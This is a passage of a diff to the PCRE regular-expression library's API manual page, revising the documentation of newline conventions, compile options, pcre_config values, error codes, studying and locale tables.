-       default  default  is  LF, which is the Unix standard. When PCRE is run,
-       the default can be overridden, either when a pattern  is  compiled,  or
-       when it is matched.
 
+       PCRE  supports five different conventions for indicating line breaks in
+       strings: a single CR (carriage return) character, a  single  LF  (line-
+       feed) character, the two-character sequence CRLF, any of the three pre-
+       ceding, or any Unicode newline sequence. The Unicode newline  sequences
+       are  the  three just mentioned, plus the single characters VT (vertical
+       tab, U+000B), FF (formfeed, U+000C), NEL (next line, U+0085), LS  (line
+       separator, U+2028), and PS (paragraph separator, U+2029).
+
+       Each  of  the first three conventions is used by at least one operating
+       system as its standard newline sequence. When PCRE is built, a  default
+       can  be  specified.  The default default is LF, which is the Unix stan-
+       dard. When PCRE is run, the default can be overridden,  either  when  a
+       pattern is compiled, or when it is matched.
+
+       At compile time, the newline convention can be specified by the options
+       argument of pcre_compile(), or it can be specified by special  text  at
+       the start of the pattern itself; this overrides any other settings. See
+       the pcrepattern page for details of the special character sequences.
+
        In the PCRE documentation the word "newline" is used to mean "the char-
-       acter or pair of characters that indicate a line break".
+       acter  or pair of characters that indicate a line break". The choice of
+       newline convention affects the handling of  the  dot,  circumflex,  and
+       dollar metacharacters, the handling of #-comments in /x mode, and, when
+       CRLF is a recognized line ending sequence, the match position  advance-
+       ment for a non-anchored pattern. There is more detail about this in the
+       section on pcre_exec() options below.
 
+       The choice of newline convention does not affect the interpretation  of
+       the  \n  or  \r  escape  sequences, nor does it affect what \R matches,
+       which is controlled in a similar way, but by separate options.
 
+
 MULTITHREADING
 
        The PCRE functions can be used in  multi-threading  applications,  with
@@ -798,7 +1008,7 @@
        pcre_malloc, pcre_free, pcre_stack_malloc, and pcre_stack_free, and the
        callout function pointed to by pcre_callout, are shared by all threads.
 
-       The compiled form of a regular expression is not altered during  match-
+       The  compiled form of a regular expression is not altered during match-
        ing, so the same compiled pattern can safely be used by several threads
        at once.
 
@@ -806,68 +1016,81 @@
 SAVING PRECOMPILED PATTERNS FOR LATER USE
 
        The compiled form of a regular expression can be saved and re-used at a
-       later  time,  possibly by a different program, and even on a host other
-       than the one on which  it  was  compiled.  Details  are  given  in  the
-       pcreprecompile documentation.
+       later time, possibly by a different program, and even on a  host  other
+       than  the  one  on  which  it  was  compiled.  Details are given in the
+       pcreprecompile documentation. However, compiling a  regular  expression
+       with  one version of PCRE for use with a different version is not guar-
+       anteed to work and may cause crashes.
 
 
 CHECKING BUILD-TIME OPTIONS
 
        int pcre_config(int what, void *where);
 
-       The  function pcre_config() makes it possible for a PCRE client to dis-
+       The function pcre_config() makes it possible for a PCRE client to  dis-
        cover which optional features have been compiled into the PCRE library.
-       The  pcrebuild documentation has more details about these optional fea-
+       The pcrebuild documentation has more details about these optional  fea-
        tures.
 
-       The first argument for pcre_config() is an  integer,  specifying  which
+       The  first  argument  for pcre_config() is an integer, specifying which
        information is required; the second argument is a pointer to a variable
-       into which the information is  placed.  The  following  information  is
+       into  which  the  information  is  placed. The following information is
        available:
 
          PCRE_CONFIG_UTF8
 
-       The  output is an integer that is set to one if UTF-8 support is avail-
+       The output is an integer that is set to one if UTF-8 support is  avail-
        able; otherwise it is set to zero.
 
          PCRE_CONFIG_UNICODE_PROPERTIES
 
-       The output is an integer that is set to  one  if  support  for  Unicode
+       The  output  is  an  integer  that is set to one if support for Unicode
        character properties is available; otherwise it is set to zero.
 
          PCRE_CONFIG_NEWLINE
 
-       The  output  is  an integer whose value specifies the default character
-       sequence that is recognized as meaning "newline". The three values that
-       are supported are: 10 for LF, 13 for CR, and 3338 for CRLF. The default
-       should normally be the standard sequence for your operating system.
+       The output is an integer whose value specifies  the  default  character
+       sequence  that is recognized as meaning "newline". The four values that
+       are supported are: 10 for LF, 13 for CR, 3338 for CRLF, -2 for ANYCRLF,
+       and  -1  for  ANY.  Though they are derived from ASCII, the same values
+       are returned in EBCDIC environments. The default should normally corre-
+       spond to the standard sequence for your operating system.
 
+         PCRE_CONFIG_BSR
+
+       The output is an integer whose value indicates what character sequences
+       the \R escape sequence matches by default. A value of 0 means  that  \R
+       matches  any  Unicode  line ending sequence; a value of 1 means that \R
+       matches only CR, LF, or CRLF. The default can be overridden when a pat-
+       tern is compiled or matched.
+
          PCRE_CONFIG_LINK_SIZE
 
-       The output is an integer that contains the number  of  bytes  used  for
+       The  output  is  an  integer that contains the number of bytes used for
        internal linkage in compiled regular expressions. The value is 2, 3, or
-       4. Larger values allow larger regular expressions to  be  compiled,  at
-       the  expense  of  slower matching. The default value of 2 is sufficient
-       for all but the most massive patterns, since  it  allows  the  compiled
+       4.  Larger  values  allow larger regular expressions to be compiled, at
+       the expense of slower matching. The default value of  2  is  sufficient
+       for  all  but  the  most massive patterns, since it allows the compiled
        pattern to be up to 64K in size.
 
          PCRE_CONFIG_POSIX_MALLOC_THRESHOLD
 
-       The  output  is  an integer that contains the threshold above which the
-       POSIX interface uses malloc() for output vectors. Further  details  are
+       The output is an integer that contains the threshold  above  which  the
+       POSIX  interface  uses malloc() for output vectors. Further details are
        given in the pcreposix documentation.
 
          PCRE_CONFIG_MATCH_LIMIT
 
-       The output is an integer that gives the default limit for the number of
-       internal matching function calls in a  pcre_exec()  execution.  Further
-       details are given with pcre_exec() below.
+       The output is a long integer that gives the default limit for the  num-
+       ber  of  internal  matching  function calls in a pcre_exec() execution.
+       Further details are given with pcre_exec() below.
 
          PCRE_CONFIG_MATCH_LIMIT_RECURSION
 
-       The  output is an integer that gives the default limit for the depth of
-       recursion when calling the internal matching function in a  pcre_exec()
-       execution. Further details are given with pcre_exec() below.
+       The output is a long integer that gives the default limit for the depth
+       of   recursion  when  calling  the  internal  matching  function  in  a
+       pcre_exec() execution.  Further  details  are  given  with  pcre_exec()
+       below.
 
          PCRE_CONFIG_STACKRECURSE
 
@@ -909,39 +1132,40 @@
        fully relocatable, because it may contain a copy of the tableptr  argu-
        ment, which is an address (see below).
 
-       The options argument contains independent bits that affect the compila-
-       tion. It should be zero if  no  options  are  required.  The  available
-       options  are  described  below. Some of them, in particular, those that
-       are compatible with Perl, can also be set and  unset  from  within  the
-       pattern  (see  the  detailed  description in the pcrepattern documenta-
-       tion). For these options, the contents of the options  argument  speci-
-       fies  their initial settings at the start of compilation and execution.
-       The PCRE_ANCHORED and PCRE_NEWLINE_xxx options can be set at  the  time
-       of matching as well as at compile time.
+       The options argument contains various bit settings that affect the com-
+       pilation. It should be zero if no options are required.  The  available
+       options  are  described  below. Some of them (in particular, those that
+       are compatible with Perl, but also some others) can  also  be  set  and
+       unset  from  within  the  pattern  (see the detailed description in the
+       pcrepattern documentation). For those options that can be different  in
+       different  parts  of  the pattern, the contents of the options argument
+       specifies their initial settings at the start of compilation and execu-
+       tion.  The PCRE_ANCHORED and PCRE_NEWLINE_xxx options can be set at the
+       time of matching as well as at compile time.
 
        If errptr is NULL, pcre_compile() returns NULL immediately.  Otherwise,
-       if compilation of a pattern fails,  pcre_compile()  returns  NULL,  and
+       if  compilation  of  a  pattern fails, pcre_compile() returns NULL, and
        sets the variable pointed to by errptr to point to a textual error mes-
        sage. This is a static string that is part of the library. You must not
        try to free it. The offset from the start of the pattern to the charac-
        ter where the error was discovered is placed in the variable pointed to
-       by  erroffset,  which must not be NULL. If it is, an immediate error is
+       by erroffset, which must not be NULL. If it is, an immediate  error  is
        given.
 
-       If pcre_compile2() is used instead of pcre_compile(),  and  the  error-
-       codeptr  argument is not NULL, a non-zero error code number is returned
-       via this argument in the event of an error. This is in addition to  the
+       If  pcre_compile2()  is  used instead of pcre_compile(), and the error-
+       codeptr argument is not NULL, a non-zero error code number is  returned
+       via  this argument in the event of an error. This is in addition to the
        textual error message. Error codes and messages are listed below.
 
-       If  the  final  argument, tableptr, is NULL, PCRE uses a default set of
-       character tables that are  built  when  PCRE  is  compiled,  using  the
-       default  C  locale.  Otherwise, tableptr must be an address that is the
-       result of a call to pcre_maketables(). This value is  stored  with  the
-       compiled  pattern,  and used again by pcre_exec(), unless another table
+       If the final argument, tableptr, is NULL, PCRE uses a  default  set  of
+       character  tables  that  are  built  when  PCRE  is compiled, using the
+       default C locale. Otherwise, tableptr must be an address  that  is  the
+       result  of  a  call to pcre_maketables(). This value is stored with the
+       compiled pattern, and used again by pcre_exec(), unless  another  table
        pointer is passed to it. For more discussion, see the section on locale
        support below.
 
-       This  code  fragment  shows a typical straightforward call to pcre_com-
+       This code fragment shows a typical straightforward  call  to  pcre_com-
        pile():
 
          pcre *re;
@@ -954,96 +1178,122 @@
            &erroffset,       /* for error offset */
            NULL);            /* use default character tables */
 
-       The following names for option bits are defined in  the  pcre.h  header
+       The  following  names  for option bits are defined in the pcre.h header
        file:
 
          PCRE_ANCHORED
 
        If this bit is set, the pattern is forced to be "anchored", that is, it
-       is constrained to match only at the first matching point in the  string
-       that  is being searched (the "subject string"). This effect can also be
-       achieved by appropriate constructs in the pattern itself, which is  the
+       is  constrained to match only at the first matching point in the string
+       that is being searched (the "subject string"). This effect can also  be
+       achieved  by appropriate constructs in the pattern itself, which is the
        only way to do it in Perl.
 
          PCRE_AUTO_CALLOUT
 
        If this bit is set, pcre_compile() automatically inserts callout items,
-       all with number 255, before each pattern item. For  discussion  of  the
+       all  with  number  255, before each pattern item. For discussion of the
        callout facility, see the pcrecallout documentation.
 
+         PCRE_BSR_ANYCRLF
+         PCRE_BSR_UNICODE
+
+       These options (which are mutually exclusive) control what the \R escape
+       sequence  matches.  The choice is either to match only CR, LF, or CRLF,
+       or to match any Unicode newline sequence. The default is specified when
+       PCRE is built. It can be overridden from within the pattern, or by set-
+       ting an option when a compiled pattern is matched.
+
          PCRE_CASELESS
 
-       If  this  bit is set, letters in the pattern match both upper and lower
-       case letters. It is equivalent to Perl's  /i  option,  and  it  can  be
-       changed  within a pattern by a (?i) option setting. In UTF-8 mode, PCRE
-       always understands the concept of case for characters whose values  are
-       less  than 128, so caseless matching is always possible. For characters
-       with higher values, the concept of case is supported if  PCRE  is  com-
-       piled  with Unicode property support, but not otherwise. If you want to
-       use caseless matching for characters 128 and  above,  you  must  ensure
-       that  PCRE  is  compiled  with Unicode property support as well as with
+       If this bit is set, letters in the pattern match both upper  and  lower
+       case  letters.  It  is  equivalent  to  Perl's /i option, and it can be
+       changed within a pattern by a (?i) option setting. In UTF-8 mode,  PCRE
+       always  understands the concept of case for characters whose values are
+       less than 128, so caseless matching is always possible. For  characters
+       with  higher  values,  the concept of case is supported if PCRE is com-
+       piled with Unicode property support, but not otherwise. If you want  to
+       use  caseless  matching  for  characters 128 and above, you must ensure
+       that PCRE is compiled with Unicode property support  as  well  as  with
        UTF-8 support.
 
          PCRE_DOLLAR_ENDONLY
 
-       If this bit is set, a dollar metacharacter in the pattern matches  only
-       at  the  end  of the subject string. Without this option, a dollar also
-       matches immediately before a newline at the end of the string (but  not
-       before  any  other newlines). The PCRE_DOLLAR_ENDONLY option is ignored
-       if PCRE_MULTILINE is set.  There is no equivalent  to  this  option  in
+       If  this bit is set, a dollar metacharacter in the pattern matches only
+       at the end of the subject string. Without this option,  a  dollar  also
+       matches  immediately before a newline at the end of the string (but not
+       before any other newlines). The PCRE_DOLLAR_ENDONLY option  is  ignored
+       if  PCRE_MULTILINE  is  set.   There is no equivalent to this option in
        Perl, and no way to set it within a pattern.
 
          PCRE_DOTALL
 
        If this bit is set, a dot metacharater in the pattern matches all char-
-       acters, including those that indicate newline. Without it, a  dot  does
-       not  match  when  the  current position is at a newline. This option is
-       equivalent to Perl's /s option, and it can be changed within a  pattern
-       by  a (?s) option setting. A negative class such as [^a] always matches
-       newlines, independent of the setting of this option.
+       acters,  including  those that indicate newline. Without it, a dot does
+       not match when the current position is at a  newline.  This  option  is
+       equivalent  to Perl's /s option, and it can be changed within a pattern
+       by a (?s) option setting. A negative class such as [^a] always  matches
+       newline characters, independent of the setting of this option.
 
          PCRE_DUPNAMES
 
-       If this bit is set, names used to identify capturing  subpatterns  need
+       If  this  bit is set, names used to identify capturing subpatterns need
        not be unique. This can be helpful for certain types of pattern when it
-       is known that only one instance of the named  subpattern  can  ever  be
-       matched.  There  are  more details of named subpatterns below; see also
+       is  known  that  only  one instance of the named subpattern can ever be
+       matched. There are more details of named subpatterns  below;  see  also
        the pcrepattern documentation.
 
          PCRE_EXTENDED
 
-       If this bit is set, whitespace  data  characters  in  the  pattern  are
+       If  this  bit  is  set,  whitespace  data characters in the pattern are
        totally ignored except when escaped or inside a character class. White-
        space does not include the VT character (code 11). In addition, charac-
        ters between an unescaped # outside a character class and the next new-
-       line, inclusive, are also ignored. This  is  equivalent  to  Perl's  /x
-       option,  and  it  can be changed within a pattern by a (?x) option set-
+       line,  inclusive,  are  also  ignored.  This is equivalent to Perl's /x
+       option, and it can be changed within a pattern by a  (?x)  option  set-
        ting.
 
-       This option makes it possible to include  comments  inside  complicated
-       patterns.   Note,  however,  that this applies only to data characters.
-       Whitespace  characters  may  never  appear  within  special   character
-       sequences  in  a  pattern,  for  example  within the sequence (?( which
+       This  option  makes  it possible to include comments inside complicated
+       patterns.  Note, however, that this applies only  to  data  characters.
+       Whitespace   characters  may  never  appear  within  special  character
+       sequences in a pattern, for  example  within  the  sequence  (?(  which
        introduces a conditional subpattern.
 
          PCRE_EXTRA
 
-       This option was invented in order to turn on  additional  functionality
-       of  PCRE  that  is  incompatible with Perl, but it is currently of very
-       little use. When set, any backslash in a pattern that is followed by  a
-       letter  that  has  no  special  meaning causes an error, thus reserving
-       these combinations for future expansion. By  default,  as  in  Perl,  a
-       backslash  followed by a letter with no special meaning is treated as a
-       literal. (Perl can, however, be persuaded to give a warning for  this.)
-       There  are  at  present no other features controlled by this option. It
+       This  option  was invented in order to turn on additional functionality
+       of PCRE that is incompatible with Perl, but it  is  currently  of  very
+       little  use. When set, any backslash in a pattern that is followed by a
+       letter that has no special meaning  causes  an  error,  thus  reserving
+       these  combinations  for  future  expansion.  By default, as in Perl, a
+       backslash followed by a letter with no special meaning is treated as  a
+       literal.  (Perl can, however, be persuaded to give a warning for this.)
+       There are at present no other features controlled by  this  option.  It
        can also be set by a (?X) option setting within a pattern.
 
          PCRE_FIRSTLINE
 
-       If this option is set, an  unanchored  pattern  is  required  to  match
-       before  or  at  the  first  newline  in  the subject string, though the
+       If  this  option  is  set,  an  unanchored pattern is required to match
+       before or at the first  newline  in  the  subject  string,  though  the
        matched text may continue over the newline.
 
+         PCRE_JAVASCRIPT_COMPAT
+
+       If this option is set, PCRE's behaviour is changed in some ways so that
+       it is compatible with JavaScript rather than Perl. The changes  are  as
+       follows:
+
+       (1)  A  lone  closing square bracket in a pattern causes a compile-time
+       error, because this is illegal in JavaScript (by default it is  treated
+       as a data character). Thus, the pattern AB]CD becomes illegal when this
+       option is set.
+
+       (2) At run time, a back reference to an unset subpattern group  matches
+       an  empty  string (by default this causes the current matching alterna-
+       tive to fail). A pattern such as (\1)(a) succeeds when this  option  is
+       set  (assuming  it can find an "a" in the subject), whereas it fails by
+       default, for Perl compatibility.
+
          PCRE_MULTILINE
 
        By default, PCRE treats the subject string as consisting  of  a  single
@@ -1064,62 +1314,85 @@
          PCRE_NEWLINE_CR
          PCRE_NEWLINE_LF
          PCRE_NEWLINE_CRLF
+         PCRE_NEWLINE_ANYCRLF
+         PCRE_NEWLINE_ANY
 
        These  options  override the default newline definition that was chosen
        when PCRE was built. Setting the first or the second specifies  that  a
        newline  is  indicated  by a single character (CR or LF, respectively).
-       Setting both of them specifies that a newline is indicated by the  two-
-       character  CRLF sequence. For convenience, PCRE_NEWLINE_CRLF is defined
-       to contain both bits. The only time that a line break is relevant  when
-       compiling a pattern is if PCRE_EXTENDED is set, and an unescaped # out-
-       side a character class is encountered. This indicates  a  comment  that
-       lasts until after the next newline.
+       Setting PCRE_NEWLINE_CRLF specifies that a newline is indicated by  the
+       two-character  CRLF  sequence.  Setting  PCRE_NEWLINE_ANYCRLF specifies
+       that any of the three preceding sequences should be recognized. Setting
+       PCRE_NEWLINE_ANY  specifies that any Unicode newline sequence should be
+       recognized. The Unicode newline sequences are the three just mentioned,
+       plus  the  single  characters  VT (vertical tab, U+000B), FF (formfeed,
+       U+000C), NEL (next line, U+0085), LS (line separator, U+2028),  and  PS
+       (paragraph  separator,  U+2029).  The  last  two are recognized only in
+       UTF-8 mode.
 
-       The newline option set at compile time becomes the default that is used
-       for pcre_exec() and pcre_dfa_exec(), but it can be overridden.
+       The newline setting in the  options  word  uses  three  bits  that  are
+       treated as a number, giving eight possibilities. Currently only six are
+       used (default plus the five values above). This means that if  you  set
+       more  than one newline option, the combination may or may not be sensi-
+       ble. For example, PCRE_NEWLINE_CR with PCRE_NEWLINE_LF is equivalent to
+       PCRE_NEWLINE_CRLF,  but other combinations may yield unused numbers and
+       cause an error.
 
+       The only time that a line break is specially recognized when  compiling
+       a  pattern  is  if  PCRE_EXTENDED  is set, and an unescaped # outside a
+       character class is encountered. This indicates  a  comment  that  lasts
+       until  after the next line break sequence. In other circumstances, line
+       break  sequences  are  treated  as  literal  data,   except   that   in
+       PCRE_EXTENDED mode, both CR and LF are treated as whitespace characters
+       and are therefore ignored.
+
+       The newline option that is set at compile time becomes the default that
+       is used for pcre_exec() and pcre_dfa_exec(), but it can be overridden.
+
          PCRE_NO_AUTO_CAPTURE
 
        If this option is set, it disables the use of numbered capturing paren-
-       theses  in the pattern. Any opening parenthesis that is not followed by
-       ? behaves as if it were followed by ?: but named parentheses can  still
-       be  used  for  capturing  (and  they acquire numbers in the usual way).
+       theses in the pattern. Any opening parenthesis that is not followed  by
+       ?  behaves as if it were followed by ?: but named parentheses can still
+       be used for capturing (and they acquire  numbers  in  the  usual  way).
        There is no equivalent of this option in Perl.
 
          PCRE_UNGREEDY
 
-       This option inverts the "greediness" of the quantifiers  so  that  they
-       are  not greedy by default, but become greedy if followed by "?". It is
-       not compatible with Perl. It can also be set by a (?U)  option  setting
+       This  option  inverts  the "greediness" of the quantifiers so that they
+       are not greedy by default, but become greedy if followed by "?". It  is
+       not  compatible  with Perl. It can also be set by a (?U) option setting
        within the pattern.
 
          PCRE_UTF8
 
-       This  option  causes PCRE to regard both the pattern and the subject as
-       strings of UTF-8 characters instead of single-byte  character  strings.
-       However,  it is available only when PCRE is built to include UTF-8 sup-
-       port. If not, the use of this option provokes an error. Details of  how
-       this  option  changes the behaviour of PCRE are given in the section on
+       This option causes PCRE to regard both the pattern and the  subject  as
+       strings  of  UTF-8 characters instead of single-byte character strings.
+       However, it is available only when PCRE is built to include UTF-8  sup-
+       port.  If not, the use of this option provokes an error. Details of how
+       this option changes the behaviour of PCRE are given in the  section  on
        UTF-8 support in the main pcre page.
 
          PCRE_NO_UTF8_CHECK
 
        When PCRE_UTF8 is set, the validity of the pattern as a UTF-8 string is
-       automatically  checked. If an invalid UTF-8 sequence of bytes is found,
-       pcre_compile() returns an error. If you already know that your  pattern
-       is  valid, and you want to skip this check for performance reasons, you
-       can set the PCRE_NO_UTF8_CHECK option. When it is set,  the  effect  of
-       passing an invalid UTF-8 string as a pattern is undefined. It may cause
-       your program to crash.  Note that this option can  also  be  passed  to
-       pcre_exec()  and pcre_dfa_exec(), to suppress the UTF-8 validity check-
-       ing of subject strings.
+       automatically checked. There is a  discussion  about  the  validity  of
+       UTF-8  strings  in  the main pcre page. If an invalid UTF-8 sequence of
+       bytes is found, pcre_compile() returns an error. If  you  already  know
+       that your pattern is valid, and you want to skip this check for perfor-
+       mance reasons, you can set the PCRE_NO_UTF8_CHECK option.  When  it  is
+       set,  the  effect  of  passing  an invalid UTF-8 string as a pattern is
+       undefined. It may cause your program to crash. Note  that  this  option
+       can  also be passed to pcre_exec() and pcre_dfa_exec(), to suppress the
+       UTF-8 validity checking of subject strings.
 
 
 COMPILATION ERROR CODES
 
        The following table lists the error  codes  than  may  be  returned  by
        pcre_compile2(),  along with the error messages that may be returned by
-       both compiling functions.
+       both compiling functions. As PCRE has developed, some error codes  have
+       fallen out of use. To avoid confusion, they have not been re-used.
 
           0  no error
           1  \ at end of pattern
@@ -1131,17 +1404,17 @@
           7  invalid escape sequence in character class
           8  range out of order in character class
           9  nothing to repeat
-         10  operand of unlimited repeat could match the empty string
+         10  [this code is not in use]
          11  internal error: unexpected repeat
-         12  unrecognized character after (?
+         12  unrecognized character after (? or (?-
          13  POSIX named classes are supported only within a class
          14  missing )
          15  reference to non-existent subpattern
          16  erroffset passed as NULL
          17  unknown option bit(s) set
          18  missing ) after comment
-         19  parentheses nested too deeply
-         20  regular expression too large
+         19  [this code is not in use]
+         20  regular expression is too large
          21  failed to get memory
          22  unmatched parentheses
          23  internal error: code overflow
@@ -1150,11 +1423,11 @@
          26  malformed number or name after (?(
          27  conditional group contains more than two branches
          28  assertion expected after (?(
-         29  (?R or (?digits must be followed by )
+         29  (?R or (?[+-]digits must be followed by )
          30  unknown POSIX class name
          31  POSIX collating elements are not supported
          32  this version of PCRE is not compiled with PCRE_UTF8 support
-         33  spare error
+         33  [this code is not in use]
          34  character value in \x{...} sequence is too large
          35  invalid condition (?(0)
          36  \C not allowed in lookbehind assertion
@@ -1163,49 +1436,67 @@
          39  closing ) for (?C expected
          40  recursive call could loop indefinitely
          41  unrecognized character after (?P
-         42  syntax error after (?P
+         42  syntax error in subpattern name (missing terminator)
          43  two named subpatterns have the same name
          44  invalid UTF-8 string
          45  support for \P, \p, and \X has not been compiled
          46  malformed \P or \p sequence
          47  unknown property name after \P or \p
          48  subpattern name is too long (maximum 32 characters)
-         49  too many named subpatterns (maximum 10,000)
-         50  repeated subpattern is too long
+         49  too many named subpatterns (maximum 10000)
+         50  [this code is not in use]
          51  octal value is greater than \377 (not in UTF-8 mode)
+         52  internal error: overran compiling workspace
+         53   internal  error:  previously-checked  referenced  subpattern not
+       found
+         54  DEFINE group contains more than one branch
+         55  repeating a DEFINE group is not allowed
+         56  inconsistent NEWLINE options
+         57  \g is not followed by a braced, angle-bracketed, or quoted
+               name/number or by a plain number
+         58  a numbered reference must not be zero
+         59  (*VERB) with an argument is not supported
+         60  (*VERB) not recognized
+         61  number is too big
+         62  subpattern name expected
+         63  digit expected after (?+
+         64  ] is an invalid data character in JavaScript compatibility mode
 
+       The numbers 32 and 10000 in errors 48 and 49  are  defaults;  different
+       values may be used if the limits were changed when PCRE was built.
 
+
 STUDYING A PATTERN
 
        pcre_extra *pcre_study(const pcre *code, int options
             const char **errptr);
 
-       If a compiled pattern is going to be used several times,  it  is  worth
+       If  a  compiled  pattern is going to be used several times, it is worth
        spending more time analyzing it in order to speed up the time taken for
-       matching. The function pcre_study() takes a pointer to a compiled  pat-
+       matching.  The function pcre_study() takes a pointer to a compiled pat-
        tern as its first argument. If studying the pattern produces additional
-       information that will help speed up matching,  pcre_study()  returns  a
-       pointer  to a pcre_extra block, in which the study_data field points to
+       information  that  will  help speed up matching, pcre_study() returns a
+       pointer to a pcre_extra block, in which the study_data field points  to
        the results of the study.
 
        The  returned  value  from  pcre_study()  can  be  passed  directly  to
-       pcre_exec().  However,  a  pcre_extra  block also contains other fields
-       that can be set by the caller before the block  is  passed;  these  are
+       pcre_exec(). However, a pcre_extra block  also  contains  other  fields
+       that  can  be  set  by the caller before the block is passed; these are
        described below in the section on matching a pattern.
 
-       If  studying  the  pattern  does not produce any additional information
+       If studying the pattern does not  produce  any  additional  information
        pcre_study() returns NULL. In that circumstance, if the calling program
-       wants  to  pass  any of the other fields to pcre_exec(), it must set up
+       wants to pass any of the other fields to pcre_exec(), it  must  set  up
        its own pcre_extra block.
 
-       The second argument of pcre_study() contains option bits.  At  present,
+       The  second  argument of pcre_study() contains option bits. At present,
        no options are defined, and this argument should always be zero.
 
-       The  third argument for pcre_study() is a pointer for an error message.
-       If studying succeeds (even if no data is  returned),  the  variable  it
-       points  to  is  set  to NULL. Otherwise it is set to point to a textual
+       The third argument for pcre_study() is a pointer for an error  message.
+       If  studying  succeeds  (even  if no data is returned), the variable it
+       points to is set to NULL. Otherwise it is set to  point  to  a  textual
        error message. This is a static string that is part of the library. You
-       must  not  try  to  free it. You should test the error pointer for NULL
+       must not try to free it. You should test the  error  pointer  for  NULL
        after calling pcre_study(), to be sure that it has run successfully.
 
        This is a typical call to pcre_study():
@@ -1217,27 +1508,34 @@
            &error);        /* set to NULL or points to a message */
 
        At present, studying a pattern is useful only for non-anchored patterns
-       that  do not have a single fixed starting character. A bitmap of possi-
+       that do not have a single fixed starting character. A bitmap of  possi-
        ble starting bytes is created.
 
 
 LOCALE SUPPORT
 
-       PCRE handles caseless matching, and determines whether  characters  are
-       letters  digits,  or whatever, by reference to a set of tables, indexed
-       by character value. When running in UTF-8 mode, this  applies  only  to
-       characters  with  codes  less than 128. Higher-valued codes never match
-       escapes such as \w or \d, but can be tested with \p if  PCRE  is  built
-       with  Unicode  character property support. The use of locales with Uni-
-       code is discouraged.
+       PCRE  handles  caseless matching, and determines whether characters are
+       letters, digits, or whatever, by reference to a set of tables,  indexed
+       by  character  value.  When running in UTF-8 mode, this applies only to
+       characters with codes less than 128. Higher-valued  codes  never  match
+       escapes  such  as  \w or \d, but can be tested with \p if PCRE is built
+       with Unicode character property support. The use of locales  with  Uni-
+       code  is discouraged. If you are handling characters with codes greater
+       than 128, you should either use UTF-8 and Unicode, or use locales,  but
+       not try to mix the two.
 
-       An internal set of tables is created in the default C locale when  PCRE
-       is  built.  This  is  used when the final argument of pcre_compile() is
-       NULL, and is sufficient for many applications. An  alternative  set  of
-       tables  can,  however, be supplied. These may be created in a different
-       locale from the default. As more and more applications change to  using
-       Unicode, the need for this locale support is expected to die away.
+       PCRE  contains  an  internal set of tables that are used when the final
+       argument of pcre_compile() is  NULL.  These  are  sufficient  for  many
+       applications.  Normally, the internal tables recognize only ASCII char-
+       acters. However, when PCRE is built, it is possible to cause the inter-
+       nal tables to be rebuilt in the default "C" locale of the local system,
+       which may cause them to be different.
 
+       The internal tables can always be overridden by tables supplied by  the
+       application that calls PCRE. These may be created in a different locale
+       from the default. As more and more applications change  to  using  Uni-
+       code, the need for this locale support is expected to die away.
+
        External  tables  are  built by calling the pcre_maketables() function,
        which has no arguments, in the relevant locale. The result can then  be
        passed  to  pcre_compile()  or  pcre_exec()  as often as necessary. For
@@ -1249,20 +1547,23 @@
          tables = pcre_maketables();
          re = pcre_compile(..., tables);
 
-       When pcre_maketables() runs, the tables are built  in  memory  that  is
-       obtained  via  pcre_malloc. It is the caller's responsibility to ensure
-       that the memory containing the tables remains available for as long  as
+       The locale name "fr_FR" is used on Linux and other  Unix-like  systems;
+       if you are using Windows, the name for the French locale is "french".
+
+       When  pcre_maketables()  runs,  the  tables are built in memory that is
+       obtained via pcre_malloc. It is the caller's responsibility  to  ensure
+       that  the memory containing the tables remains available for as long as
        it is needed.
 
        The pointer that is passed to pcre_compile() is saved with the compiled
-       pattern, and the same tables are used via this pointer by  pcre_study()
+       pattern,  and the same tables are used via this pointer by pcre_study()
        and normally also by pcre_exec(). Thus, by default, for any single pat-
        tern, compilation, studying and matching all happen in the same locale,
        but different patterns can be compiled in different locales.
 
-       It  is  possible to pass a table pointer or NULL (indicating the use of
-       the internal tables) to pcre_exec(). Although  not  intended  for  this
-       purpose,  this facility could be used to match a pattern in a different
+       It is possible to pass a table pointer or NULL (indicating the  use  of
+       the  internal  tables)  to  pcre_exec(). Although not intended for this
+       purpose, this facility could be used to match a pattern in a  different
        locale from the one in which it was compiled. Passing table pointers at
        run time is discussed below in the section on matching a pattern.
 
@@ -1272,15 +1573,15 @@
        int pcre_fullinfo(const pcre *code, const pcre_extra *extra,
             int what, void *where);
 
-       The  pcre_fullinfo() function returns information about a compiled pat-
+       The pcre_fullinfo() function returns information about a compiled  pat-
        tern. It replaces the obsolete pcre_info() function, which is neverthe-
        less retained for backwards compability (and is documented below).
 
-       The  first  argument  for  pcre_fullinfo() is a pointer to the compiled
-       pattern. The second argument is the result of pcre_study(), or NULL  if
-       the  pattern  was not studied. The third argument specifies which piece
-       of information is required, and the fourth argument is a pointer  to  a
-       variable  to  receive  the  data. The yield of the function is zero for
+       The first argument for pcre_fullinfo() is a  pointer  to  the  compiled
+       pattern.  The second argument is the result of pcre_study(), or NULL if
+       the pattern was not studied. The third argument specifies  which  piece
+       of  information  is required, and the fourth argument is a pointer to a
+       variable to receive the data. The yield of the  function  is  zero  for
        success, or one of the following negative numbers:
 
          PCRE_ERROR_NULL       the argument code was NULL
@@ -1288,9 +1589,9 @@
          PCRE_ERROR_BADMAGIC   the "magic number" was not found
          PCRE_ERROR_BADOPTION  the value of what was invalid
 
-       The "magic number" is placed at the start of each compiled  pattern  as
-       an  simple check against passing an arbitrary memory pointer. Here is a
-       typical call of pcre_fullinfo(), to obtain the length of  the  compiled
+       The  "magic  number" is placed at the start of each compiled pattern as
+       an simple check against passing an arbitrary memory pointer. Here is  a
+       typical  call  of pcre_fullinfo(), to obtain the length of the compiled
        pattern:
 
          int rc;
@@ -1301,56 +1602,69 @@
            PCRE_INFO_SIZE,   /* what is required */
            &length);         /* where to put the data */
 
-       The  possible  values for the third argument are defined in pcre.h, and
+       The possible values for the third argument are defined in  pcre.h,  and
        are as follows:
 
          PCRE_INFO_BACKREFMAX
 
-       Return the number of the highest back reference  in  the  pattern.  The
-       fourth  argument  should  point to an int variable. Zero is returned if
+       Return  the  number  of  the highest back reference in the pattern. The
+       fourth argument should point to an int variable. Zero  is  returned  if
        there are no back references.
 
          PCRE_INFO_CAPTURECOUNT
 
-       Return the number of capturing subpatterns in the pattern.  The  fourth
+       Return  the  number of capturing subpatterns in the pattern. The fourth
        argument should point to an int variable.
 
          PCRE_INFO_DEFAULT_TABLES
 
-       Return  a pointer to the internal default character tables within PCRE.
-       The fourth argument should point to an unsigned char *  variable.  This
+       Return a pointer to the internal default character tables within  PCRE.
+       The  fourth  argument should point to an unsigned char * variable. This
        information call is provided for internal use by the pcre_study() func-
